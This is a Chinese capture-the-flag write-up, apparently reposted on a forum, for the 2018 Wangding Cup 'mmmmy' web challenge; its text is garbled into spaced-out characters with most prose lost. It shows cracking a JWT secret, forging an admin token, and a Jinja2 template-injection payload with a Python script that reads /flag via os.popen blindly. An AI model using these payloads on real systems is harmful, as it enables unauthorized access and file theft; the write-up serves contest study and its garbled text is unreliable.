[19405] 2018-08-28_“网鼎杯”网络安全大赛第三场mmmmy题writeup

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2018-08-28_“网鼎杯”网络安全大赛第三场mmmmy题writeup m m m m y w r i t e u p i   2 0 1 8 - 0 8 - 2 8 访 访 a d m i n t e s t / t e s t t e s t c o o k i e
e y J h b G c i O i J I U z I 1 N i I s I n R 5 c C I 6 I k p X V C J 9 . e y J 1 c 2 V y b m F t Z S I 6 I n R l c 3 Q i f Q . 8 0 o h p p h Z m b B g v i m 4 l 1 w J w D j 5 b y n P l B f s h T t H s r c E L x 0 j w t e y J h b G c i O i J I U z I 1 N i I s I n R 5 c C I 6 I k p X V C J 9       b a s e 6 4 = >     { " a l g " : " H S 2 5 6 " , " t y p " : " J W T " } e y J 1 c 2 V y b m F t Z S I 6 I n R l c 3 Q i f Q                           b a s e 6 4 = >     { " u s e r n a m e " : " t e s t " } S E C R E T g i t   c l o n e   h t t p s : / / g i t h u b . c o m / b r e n d a n - r i u s / c - j w t - c r a c k e r . / j w t c r a c k     e y J h b G c i O i J I U z I 1 N i I s I n R 5 c C I 6 I k p X V C J 9 . e y J 1 c 2 V y b m F t Z S I 6 I n R l c 3 Q i f Q . 8 0 o h p p h Z m b B g v i m 4 l 1 w J w D j 5 b y n P l B f s h T t H s r c E L x 0 S E C E R T 6 a 4 2 3 使 p y t h o n p y j w t > > >   i m p o r t   j w t > > >   p r i n t   j w t . e n c o d e ( { ' u s e r n a m e ' :   ' a d m i n ' } ,   " 6 a 4 2 3 " ,   ' H S 2 5 6 ' ) e y J h b G c i O i J I U z I 1 N i I s I n R 5 c C I 6 I k p X V C J 9 . e y J 1 c 2 V y b m F t Z S I 6 I m F k b W l u I n 0 . I X E k N e 8 2 X 4 v y p U s N e R F b h b X U 4 K E 4 w i n x I h r P i W p O P 3 0 c o o k i e t o k e n 便 便 a d m i n
f u z z { { } } _ ' " p a y l o a d   { %   i f   1 = = 1 :   % } 1 { % e n d i f % } 1 p a y l o a d p a y l o a d #   - * -   c o d i n g : u t f 8   - * - i m p o r t   r e q u e s t s f l a g   =   ' ' s s   =   " 0 1 2 3 4 5 6 7 8 9 a b c d e f l g { } - " f o r   i   i n   r a n g e ( 4 2 ) :         f o r   s   i n   s s :                 _ u r l   =   " h t t p : / / x x x x x x . g a m e . i c h u n q i u . c o m / b b s "                 _ c o o k i e s   =   { " t o k e n " : " e y J h b G c i O i J I U z I 1 N i I s I n R 5 c C I 6 I k p X V C J 9 . e y J 1 c 2 V y b m F t Z S I 6 I m F k b W l u I n 0 . I X E k N e 8 2 X 4 v y p U s N e R F b h b X U 4 K E 4 w i n x I h r P i W p O P 3 0 " }                 _ d a t a = { " t e x t " :   ' { %   i f   ( ) [ r e q u e s t . v a l u e s . a ] [ r e q u e s t . v a l u e s . b ] [ 1 ] [ r e q u e s t . v a l u e s . c ] ( ) [ 5 9 ] [ r e q u e s t . v a l u e s . d ] [ r e q u e s t . v a l u e s . e ] [ r e q u e s t . v a l u e s . f ] [ r e q u e s t . v a l u e s . g ] [ r e q u e s t . v a l u e s . h ] [ r e q u e s t . v a l u e s . g ] [ r e q u e s t . v a l u e s . i ] ( r e q u e s t . v a l u e s . j ) . r e a d ( ) [ ' + s t r ( i ) + ' ] = = r e q u e s t . v a l u e s . m % } t e s t { %   e n d i f   % } ' ,   " a " :   " _ _ c l a s s _ _ " ,   " b " :   " _ _ m r o _ _ " ,   " c " :   " _ _ s u b c l a s s e s _ _ " ,   " d " :   " _ _ i n i t _ _ " ,   " f " :   " l i n e c a c h e " ,   " e " :   " f u n c _ g l o b a l s " ,   " g " : " _ _ d i c t _ _ " ,   " h " :   " o s " ,   " i " :   " p o p e n " ,   " j " :   " c a t   / f l a g " ,   " m " :   s }                 c o n t e n t   =   r e q u e s t s . p o s t ( _ u r l ,   c o o k i e s = _ c o o k i e s ,   d a t a = _ d a t a ) . t e x t                 i f   " t e s t "   i n   c o n t e n t :                         f l a g   + =   s                         p r i n t   f l a g                         b r e a k

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则